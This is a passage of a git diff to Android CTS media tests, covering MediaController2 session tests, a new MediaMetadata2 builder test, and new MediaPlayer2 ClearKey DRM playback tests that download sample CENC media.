+            final MediaController2 controller = createController(mSession.getToken());
+            testHandler.post(() -> {
+                final int state = MediaPlayerBase.PLAYER_STATE_ERROR;
+                for (int i = 0; i < 100; i++) {
+                    // triggers call from session to controller.
+                    player.notifyPlaybackState(state);
+                    // triggers call from controller to session.
+                    controller.play();
+
+                    // Repeat above
+                    player.notifyPlaybackState(state);
+                    controller.pause();
+                    player.notifyPlaybackState(state);
+                    controller.stop();
+                    player.notifyPlaybackState(state);
+                    controller.skipToNextItem();
+                    player.notifyPlaybackState(state);
+                    controller.skipToPreviousItem();
+                }
+                // This may hang if deadlock happens.
+                latch.countDown();
+            });
+            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            if (mSession != null) {
+                sessionHandler.postAndSync(() -> {
+                    // Clean up here because sessionHandler will be removed afterwards.
+                    mSession.close();
+                    mSession = null;
+                });
+            }
+            if (sessionThread != null) {
+                sessionThread.quitSafely();
+            }
+            if (testThread != null) {
+                testThread.quitSafely();
+            }
+        }
+    }
+
+    @Test
+    public void testGetServiceToken() {
+        SessionToken2 token = TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID);
+        assertNotNull(token);
+        assertEquals(mContext.getPackageName(), token.getPackageName());
+        assertEquals(MockMediaSessionService2.ID, token.getId());
+        assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+    }
+
+    @Test
+    public void testConnectToService_sessionService() throws InterruptedException {
+        testConnectToService(MockMediaSessionService2.ID);
+    }
+
+    @Ignore
+    @Test
+    public void testConnectToService_libraryService() throws InterruptedException {
+        testConnectToService(MockMediaLibraryService2.ID);
+    }
+
+    public void testConnectToService(String id) throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+                    @NonNull ControllerInfo controller) {
+                if (Process.myUid() == controller.getUid()) {
+                    if (mSession != null) {
+                        mSession.close();
+                    }
+                    mSession = session;
+                    mPlayer = (MockPlayer) session.getPlayer();
+                    assertEquals(mContext.getPackageName(), controller.getPackageName());
+                    assertFalse(controller.isTrusted());
+                    latch.countDown();
+                }
+                return super.onConnect(session, controller);
+            }
+        };
+        TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+
+        mController = createController(TestUtils.getServiceToken(mContext, id));
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        // Test command from controller to session service
+        mController.play();
+        assertTrue(mPlayer.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mPlayer.mPlayCalled);
+
+        // Test command from session service to controller
+        // TODO(jaewan): Add equivalent tests again
+        /*
+        final CountDownLatch latch = new CountDownLatch(1);
+        mController.registerPlayerEventCallback((state) -> {
+            assertNotNull(state);
+            assertEquals(PlaybackState.STATE_REWINDING, state.getState());
+            latch.countDown();
+        }, sHandler);
+        mPlayer.notifyPlaybackState(
+                TestUtils.createPlaybackState(PlaybackState.STATE_REWINDING));
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        */
+    }
+
+    @Test
+    public void testControllerAfterSessionIsGone_session() throws InterruptedException {
+        testControllerAfterSessionIsGone(mSession.getToken().getId());
+    }
+
+    // TODO(jaewan): Re-enable this test
+    @Ignore
+    @Test
+    public void testControllerAfterSessionIsGone_sessionService() throws InterruptedException {
+        /*
+        connectToService(TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID));
+        testControllerAfterSessionIsGone(MockMediaSessionService2.ID);
+        */
+    }
+
+    @Test
+    public void testClose_beforeConnected() throws InterruptedException {
+        MediaController2 controller =
+                createController(mSession.getToken(), false, null);
+        controller.close();
+    }
+
+    @Test
+    public void testClose_twice() {
+        mController.close();
+        mController.close();
+    }
+
+    @Test
+    public void testClose_session() throws InterruptedException {
+        final String id = mSession.getToken().getId();
+        mController.close();
+        // close is done immediately for session.
+        testNoInteraction();
+
+        // Test whether the controller is notified about later close of the session or
+        // re-creation.
+        testControllerAfterSessionIsGone(id);
+    }
+
+    @Test
+    public void testClose_sessionService() throws InterruptedException {
+        testCloseFromService(MockMediaSessionService2.ID);
+    }
+
+    @Test
+    public void testClose_libraryService() throws InterruptedException {
+        testCloseFromService(MockMediaLibraryService2.ID);
+    }
+
+    private void testCloseFromService(String id) throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        TestServiceRegistry.getInstance().setSessionServiceCallback(new SessionServiceCallback() {
+            @Override
+            public void onDestroyed() {
+                latch.countDown();
+            }
+        });
+        mController = createController(TestUtils.getServiceToken(mContext, id));
+        mController.close();
+        // Wait until close triggers onDestroy() of the session service.
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertNull(TestServiceRegistry.getInstance().getServiceInstance());
+        testNoInteraction();
+
+        // Test whether the controller is notified about later close of the session or
+        // re-creation.
+        testControllerAfterSessionIsGone(id);
+    }
+
+    private void testControllerAfterSessionIsGone(final String id) throws InterruptedException {
+        sHandler.postAndSync(() -> {
+            // TODO(jaewan): Use Session.close later when we add the API.
+            mSession.close();
+        });
+        waitForDisconnect(mController, true);
+        testNoInteraction();
+
+        // Ensure that the controller cannot use newly create session with the same ID.
+        sHandler.postAndSync(() -> {
+            // Recreated session has different session stub, so previously created controller
+            // shouldn't be available.
+            mSession = new MediaSession2.Builder(mContext)
+                    .setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                    .setId(id).build();
+        });
+        testNoInteraction();
+    }
+
+    private void testNoInteraction() throws InterruptedException {
+        // TODO: Uncomment
+        /*
+        final CountDownLatch latch = new CountDownLatch(1);
+        final PlayerEventCallback callback = new PlayerEventCallback() {
+            @Override
+            public void onPlaybackStateChanged(PlaybackState2 state) {
+                fail("Controller shouldn't be notified about change in session after the close.");
+                latch.countDown();
+            }
+        };
+        */
+
+        // TODO(jaewan): Add equivalent tests again
+        /*
+        mController.registerPlayerEventCallback(playbackListener, sHandler);
+        mPlayer.notifyPlaybackState(TestUtils.createPlaybackState(PlaybackState.STATE_BUFFERING));
+        assertFalse(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        mController.unregisterPlayerEventCallback(playbackListener);
+        */
+    }
+
+    // TODO(jaewan): Add  test for service connect rejection, when we differentiate session
+    //               active/inactive and connection accept/refuse
+
+    class TestVolumeProvider extends VolumeProvider2 {
+        final CountDownLatch mLatch = new CountDownLatch(1);
+        boolean mSetVolumeToCalled;
+        boolean mAdjustVolumeCalled;
+        int mVolume;
+        int mDirection;
+
+        public TestVolumeProvider(int controlType, int maxVolume, int currentVolume) {
+            super(controlType, maxVolume, currentVolume);
+        }
+
+        @Override
+        public void onSetVolumeTo(int volume) {
+            mSetVolumeToCalled = true;
+            mVolume = volume;
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onAdjustVolume(int direction) {
+            mAdjustVolumeCalled = true;
+            mDirection = direction;
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index 43c02f4..c504c4b 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -15,8 +15,6 @@
  */
 package android.media.cts;
 
-import android.app.ActivityManager;
-import android.content.Context;
 import android.content.pm.PackageManager;
 import android.media.CamcorderProfile;
 import android.media.MediaCodecInfo.CodecCapabilities;
@@ -530,10 +528,6 @@
     }
 
     public void testClearKeyPlaybackMpeg2ts() throws Exception {
-         Log.e(TAG, "testClearKeyPlaybackMpeg2ts - check before return ");
-            if (isLowRam()&& !isTV())
-            return;
-        Log.e(TAG, "testClearKeyPlaybackMpeg2ts - check after return ");
         testClearKeyPlayback(
             CLEARKEY_SCHEME_UUID,
             MIME_VIDEO_AVC, new String[0],
@@ -1002,13 +996,4 @@
         }
         return false;
     }
-
-    private boolean isTV() {
-        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
-    }
-
-    private boolean isLowRam() {
-         ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
-         return am.isLowRamDevice();
-    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
new file mode 100644
index 0000000..7c9f5b5
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.media.MediaMetadata2;
+import android.media.MediaMetadata2.Builder;
+import android.media.Rating2;
+import android.os.Bundle;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaMetadata2Test {
+    @Test
+    public void testBuilder() {
+        final Bundle extras = new Bundle();
+        extras.putString("MediaMetadata2Test", "testBuilder");
+        final String title = "title";
+        final long discNumber = 10;
+        final Rating2 rating = Rating2.newThumbRating(true);
+
+        Builder builder = new Builder();
+        builder.setExtras(extras);
+        builder.putString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE, title);
+        builder.putLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER, discNumber);
+        builder.putRating(MediaMetadata2.METADATA_KEY_USER_RATING, rating);
+
+        MediaMetadata2 metadata = builder.build();
+        assertTrue(TestUtils.equals(extras, metadata.getExtras()));
+        assertEquals(title, metadata.getString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE));
+        assertEquals(discNumber, metadata.getLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER));
+        assertEquals(rating, metadata.getRating(MediaMetadata2.METADATA_KEY_USER_RATING));
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
new file mode 100644
index 0000000..56a4ed6
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.Manifest;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Environment;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.rule.GrantPermissionRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+/**
+ * Tests for the MediaPlayer2 API and local video/audio playback.
+ *
+ * The files in res/raw used by testLocalVideo* are (c) copyright 2008,
+ * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
+ * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.P)
+@AppModeFull(reason = "Instant apps cannot hold READ/WRITE_EXTERNAL_STORAGE")
+public class MediaPlayer2DrmTest extends MediaPlayer2DrmTestBase {
+
+    private static final String LOG_TAG = "MediaPlayer2DrmTest";
+
+    @Rule
+    public GrantPermissionRule mRuntimePermissionRule =
+            GrantPermissionRule.grant(Manifest.permission.WRITE_EXTERNAL_STORAGE);
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Throwable {
+        super.tearDown();
+    }
+
+
+    //////////////////////////////////////////////////////////////////////////////////////////////
+    // Asset helpers
+
+    private static Uri getUriFromFile(String path) {
+        return Uri.fromFile(new File(getDownloadedPath(path)));
+    }
+
+    private static String getDownloadedPath(String fileName) {
+        return getDownloadedFolder() + File.separator + fileName;
+    }
+
+    private static String getDownloadedFolder() {
+        return Environment.getExternalStoragePublicDirectory(
+                Environment.DIRECTORY_DOWNLOADS).getPath();
+    }
+
+    private static final class Resolution {
+        public final boolean isHD;
+        public final int width;
+        public final int height;
+
+        Resolution(boolean isHD, int width, int height) {
+            this.isHD = isHD;
+            this.width = width;
+            this.height = height;
+        }
+    }
+
+    private static final Resolution RES_720P  = new Resolution(true, 1280,  720);
+    private static final Resolution RES_AUDIO = new Resolution(false,   0,    0);
+
+
+    // Assets
+
+    private static final Uri CENC_AUDIO_URL = Uri.parse(
+            "https://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-8c-pssh.mp4");
+    private static final Uri CENC_AUDIO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-8c.mp4");
+
+    private static final Uri CENC_VIDEO_URL = Uri.parse(
+            "https://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-88-pssh.mp4");
+    private static final Uri CENC_VIDEO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-88.mp4");
+
+
+    // Tests
+
+    @Test
+    @LargeTest
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V0_SYNC() throws Exception {
+        download(CENC_AUDIO_URL,
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V0_SYNC_TEST);
+    }
+
+    @Test
+    @LargeTest
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V1_ASYNC() throws Exception {
+        download(CENC_AUDIO_URL,
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V1_ASYNC_TEST);
+    }
+
+    @Test
+    @LargeTest
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V2_SYNC_CONFIG() throws Exception {
+        download(CENC_AUDIO_URL,
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V2_SYNC_CONFIG_TEST);
+    }
+
+    @Test
+    @LargeTest
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V3_ASYNC_DRMPREPARED() throws Exception {
+        download(CENC_AUDIO_URL,
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V3_ASYNC_DRMPREPARED_TEST);
+    }
+
+    // helpers
+
+    private void stream(Uri uri, Resolution res, ModularDrmTestType testType) throws Exception {
+        playModularDrmVideo(uri, res.width, res.height, testType);
+    }
+
+    private void download(Uri remote, Uri local, Resolution res, ModularDrmTestType testType)
+            throws Exception {
+        playModularDrmVideoDownload(remote, local, res.width, res.height, testType);
+    }
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java
new file mode 100644
index 0000000..d8d5cb8
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java
@@ -0,0 +1,1019 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static android.content.Context.KEYGUARD_SERVICE;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.DownloadManager;
+import android.app.DownloadManager.Request;
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Resources;
+import android.media.MediaDrm;
+import android.media.ResourceBusyException;
+import android.media.UnsupportedSchemeException;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.util.Base64;
+import android.util.Log;
+import android.view.SurfaceHolder;
+import android.view.WindowManager;
+
+import androidx.annotation.CallSuper;
+import androidx.media.DataSourceDesc;
+import androidx.media.MediaPlayer2;
+import androidx.media.MediaPlayer2.DrmInfo;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * Base class for DRM tests which use MediaPlayer2 to play audio or video.
+ */
+public class MediaPlayer2DrmTestBase {
+    protected static final int STREAM_RETRIES = 3;
+
+    protected Monitor mSetDataSourceCallCompleted = new Monitor();
+    protected Monitor mOnPreparedCalled = new Monitor();
+    protected Monitor mOnVideoSizeChangedCalled = new Monitor();
+    protected Monitor mOnPlaybackCompleted = new Monitor();
+    protected Monitor mOnDrmInfoCalled = new Monitor();
+    protected Monitor mOnDrmPreparedCalled = new Monitor();
+    protected int mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+
+    protected Context mContext;
+    protected Resources mResources;
+
+    protected MediaPlayer2 mPlayer = null;
+    protected MediaStubActivity mActivity;
+    protected Instrumentation mInstrumentation;
+
+    protected ExecutorService mExecutor;
+    protected MediaPlayer2.EventCallback mECb = null;
+
+    @Rule
+    public ActivityTestRule<MediaStubActivity> mActivityRule =
+            new ActivityTestRule<>(MediaStubActivity.class);
+    public PowerManager.WakeLock mScreenLock;
+    private KeyguardManager mKeyguardManager;
+
+    @Before
+    @CallSuper
+    public void setUp() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mKeyguardManager = (KeyguardManager)
+                mInstrumentation.getTargetContext().getSystemService(KEYGUARD_SERVICE);
+        mActivity = mActivityRule.getActivity();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                // Keep screen on while testing.
+                mActivity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+                mActivity.setTurnScreenOn(true);
+                mActivity.setShowWhenLocked(true);
+                mKeyguardManager.requestDismissKeyguard(mActivity, null);
+            }
+        });
+        mInstrumentation.waitForIdleSync();
+
+        try {
+            mActivityRule.runOnUiThread(new Runnable() {
+                public void run() {
+                    mPlayer = MediaPlayer2.create();
+                }
+            });
+        } catch (Throwable e) {
+            e.printStackTrace();
+            fail();
+        }
+
+        mContext = mInstrumentation.getTargetContext();
+        mResources = mContext.getResources();
+
+        mExecutor = Executors.newFixedThreadPool(1);
+    }
+
+    @After
+    @CallSuper
+    public void tearDown() throws Throwable {
+        if (mPlayer != null) {
+            mPlayer.close();
+            mPlayer = null;
+        }
+        mExecutor.shutdown();
+        mActivity = null;
+    }
+
+    private static class PrepareFailedException extends Exception {}
+
+    //////////////////////////////////////////////////////////////////////////////////////////
+    // Modular DRM
+
+    private static final String TAG = "MediaPlayer2DrmTestBase";
+
+    protected static final int PLAY_TIME_MS = 60 * 1000;
+    protected byte[] mKeySetId;
+    protected boolean mAudioOnly;
+
+    private static final byte[] CLEAR_KEY_CENC = {
+            (byte) 0x1a, (byte) 0x8a, (byte) 0x20, (byte) 0x95,
+            (byte) 0xe4, (byte) 0xde, (byte) 0xb2, (byte) 0xd2,
+            (byte) 0x9e, (byte) 0xc8, (byte) 0x16, (byte) 0xac,
+            (byte) 0x7b, (byte) 0xae, (byte) 0x20, (byte) 0x82
+            };
+
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+
+    final byte[] mClearKeyPssh = hexStringToByteArray(
+            "0000003470737368"    // BMFF box header (4 bytes size + 'pssh')
+            + "01000000"          // Full box header (version = 1 flags = 0)
+            + "1077efecc0b24d02"  // SystemID
+            + "ace33c1e52e2fb4b"
+            + "00000001"          // Number of key ids
+            + "60061e017e477e87"  // Key id
+            + "7e57d00d1ed00d1e"
+            + "00000000"          // Size of Data, must be zero
+            );
+
+
+    protected enum ModularDrmTestType {
+        V0_SYNC_TEST,
+        V1_ASYNC_TEST,
+        V2_SYNC_CONFIG_TEST,
+        V3_ASYNC_DRMPREPARED_TEST,
+        V4_SYNC_OFFLINE_KEY,
+    }
+
+    // TODO: After living on these tests for a while, we can consider grouping them based on
+    // the asset such that each asset is downloaded once and played back with multiple tests.
+    protected void playModularDrmVideoDownload(Uri uri, Uri path, int width, int height,
+            ModularDrmTestType testType) throws Exception {
+        final long downloadTimeOutSeconds = 600;
+        Log.i(TAG, "Downloading file:" + path);
+        MediaDownloadManager mediaDownloadManager = new MediaDownloadManager(mContext);
+        final long id = mediaDownloadManager.downloadFileWithRetries(
+                uri, path, downloadTimeOutSeconds, STREAM_RETRIES);
+        assertFalse("Download " + uri + " failed.", id == -1);
+        Uri file = mediaDownloadManager.getUriForDownloadedFile(id);
+        Log.i(TAG, "Downloaded file:" + path + " id:" + id + " uri:" + file);
+
+        try {
+            playModularDrmVideo(file, width, height, testType);
+        } finally {
+            mediaDownloadManager.removeFile(id);
+        }
+    }
+
+    protected void playModularDrmVideo(Uri uri, int width, int height,
+            ModularDrmTestType testType) throws Exception {
+        // Force gc for a clean start
+        System.gc();
+
+        playModularDrmVideoWithRetries(uri, width, height, PLAY_TIME_MS, testType);
+    }
+
+    protected void playModularDrmVideoWithRetries(Uri file, Integer width, Integer height,
+            int playTime, ModularDrmTestType testType) throws Exception {
+
+        // first the synchronous variation
+        boolean playedSuccessfully = false;
+        for (int i = 0; i < STREAM_RETRIES; i++) {
+            try {
+                Log.v(TAG, "playVideoWithRetries(" + testType + ") try " + i);
+                playLoadedModularDrmVideo(file, width, height, playTime, testType);
+
+                playedSuccessfully = true;
+                break;
+            } catch (PrepareFailedException e) {
+                // we can fail because of network issues, so try again
+                Log.w(TAG, "playVideoWithRetries(" + testType + ") failed on try " + i
+                        + ", trying playback again");
+                mPlayer.reset();
+            }
+        }
+        assertTrue("Stream did not play successfully after all attempts (syncDrmSetup)",
+                playedSuccessfully);
+    }
+
+    /**
+     * Play a video which has already been loaded with setDataSource().
+     * The DRM setup is performed synchronously.
+     *
+     * @param file data source
+     * @param width width of the video to verify, or null to skip verification
+     * @param height height of the video to verify, or null to skip verification
+     * @param playTime length of time to play video, or 0 to play entire video
+     * @param testType test type
+     */
+    private void playLoadedModularDrmVideo(final Uri file, final Integer width,
+            final Integer height, int playTime, ModularDrmTestType testType) throws Exception {
+
+        switch (testType) {
+            case V0_SYNC_TEST:
+            case V1_ASYNC_TEST:
+            case V2_SYNC_CONFIG_TEST:
+            case V3_ASYNC_DRMPREPARED_TEST:
+                playLoadedModularDrmVideo_Generic(file, width, height, playTime, testType);
+                break;
+
+            case V4_SYNC_OFFLINE_KEY:
+                playLoadedModularDrmVideo_V4_offlineKey(file, width, height, playTime);
+                break;
+        }
+    }
+
+    private void playLoadedModularDrmVideo_Generic(final Uri file, final Integer width,
+            final Integer height, int playTime, ModularDrmTestType testType) throws Exception {
+
+        final float volume = 0.5f;
+
+        mAudioOnly = (width == 0);
+
+        mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+        mECb = new MediaPlayer2.EventCallback() {
+                @Override
+                public void onVideoSizeChanged(MediaPlayer2 mp, DataSourceDesc dsd, int w, int h) {
+                    Log.v(TAG, "VideoSizeChanged" + " w:" + w + " h:" + h);
+                    mOnVideoSizeChangedCalled.signal();
+                }
+
+                @Override
+                public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                    fail("Media player had error " + what + " playing video");
+                }
+
+                @Override
+                public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                    if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                        mOnPreparedCalled.signal();
+                    } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+                        Log.v(TAG, "playLoadedVideo: onInfo_PlaybackComplete");
+                        mOnPlaybackCompleted.signal();
+                    }
+                }
+
+                @Override
+                public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+                        int what, int status) {
+                    if (what == MediaPlayer2.CALL_COMPLETED_SET_DATA_SOURCE) {
+                        mCallStatus = status;
+                        mSetDataSourceCallCompleted.signal();
+                    }
+                }
+            };
+
+        mPlayer.setEventCallback(mExecutor, mECb);
+        Log.v(TAG, "playLoadedVideo: setDataSource()");
+        mPlayer.setDataSource(new DataSourceDesc.Builder().setDataSource(mContext, file).build());
+        mSetDataSourceCallCompleted.waitForSignal();
+        if (mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR) {
+            throw new PrepareFailedException();
+        }
+
+        SurfaceHolder surfaceHolder = mActivity.getSurfaceHolder();
+        surfaceHolder.setKeepScreenOn(true);
+        mPlayer.setSurface(surfaceHolder.getSurface());
+
+        try {
+            switch (testType) {
+                case V0_SYNC_TEST:
+                    preparePlayerAndDrm_V0_syncDrmSetup();
+                    break;
+
+                case V1_ASYNC_TEST:
+                    preparePlayerAndDrm_V1_asyncDrmSetup();
+                    break;
+
+                case V2_SYNC_CONFIG_TEST:
+                    preparePlayerAndDrm_V2_syncDrmSetupPlusConfig();
+                    break;
+
+                case V3_ASYNC_DRMPREPARED_TEST:
+                    preparePlayerAndDrm_V3_asyncDrmSetupPlusDrmPreparedListener();
+                    break;
+            }
+
+        } catch (IOException e) {
+            e.printStackTrace();
+            throw new PrepareFailedException();
+        }
+
+        Log.v(TAG, "playLoadedVideo: play()");
+        mPlayer.play();
+        if (!mAudioOnly) {
+            mOnVideoSizeChangedCalled.waitForSignal();
+        }
+        mPlayer.setPlayerVolume(volume);
+
+        // waiting to complete
+        if (playTime == 0) {
+            Log.v(TAG, "playLoadedVideo: waiting for playback completion");
+            mOnPlaybackCompleted.waitForSignal();
+        } else {
+            Log.v(TAG, "playLoadedVideo: waiting while playing for " + playTime);
+            mOnPlaybackCompleted.waitForSignal(playTime);
+        }
+
+        try {
+            Log.v(TAG, "playLoadedVideo: releaseDrm");
+            mPlayer.releaseDrm();
+        } catch (Exception e) {
+            e.printStackTrace();
+            throw new PrepareFailedException();
+        }
+    }
+
+    private void preparePlayerAndDrm_V0_syncDrmSetup() throws Exception {
+        Log.v(TAG, "preparePlayerAndDrm_V0: calling prepare()");
+        mPlayer.prepare();
+        mOnPreparedCalled.waitForSignal();
+        if (mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR) {
+            throw new IOException();
+        }
+
+        DrmInfo drmInfo = mPlayer.getDrmInfo();
+        if (drmInfo != null) {
+            setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                    MediaDrm.KEY_TYPE_STREAMING);
+            Log.v(TAG, "preparePlayerAndDrm_V0: setupDrm done!");
+        }
+    }
+
+    private void preparePlayerAndDrm_V1_asyncDrmSetup() throws InterruptedException {
+        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
+
+        mPlayer.setDrmEventCallback(mExecutor, new MediaPlayer2.DrmEventCallback() {
+            @Override
+            public void onDrmInfo(MediaPlayer2 mp, DataSourceDesc dsd, DrmInfo drmInfo) {
+                Log.v(TAG, "preparePlayerAndDrm_V1: onDrmInfo" + drmInfo);
+
+                // in the callback (async mode) so handling exceptions here
+                try {
+                    setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                            MediaDrm.KEY_TYPE_STREAMING);
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V1: setupDrm EXCEPTION " + e);
+                    asyncSetupDrmError.set(true);
+                }
+
+                mOnDrmInfoCalled.signal();
+                Log.v(TAG, "preparePlayerAndDrm_V1: onDrmInfo done!");
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V1: calling prepare()");
+        mPlayer.prepare();
+
+        mOnDrmInfoCalled.waitForSignal();
+
+        // Waiting till the player is prepared
+        mOnPreparedCalled.waitForSignal();
+
+        // to handle setupDrm error (async) in the main thread rather than the callback
+        if (asyncSetupDrmError.get()) {
+            fail("preparePlayerAndDrm_V1: setupDrm");
+        }
+    }
+
+    private void preparePlayerAndDrm_V2_syncDrmSetupPlusConfig() throws Exception {
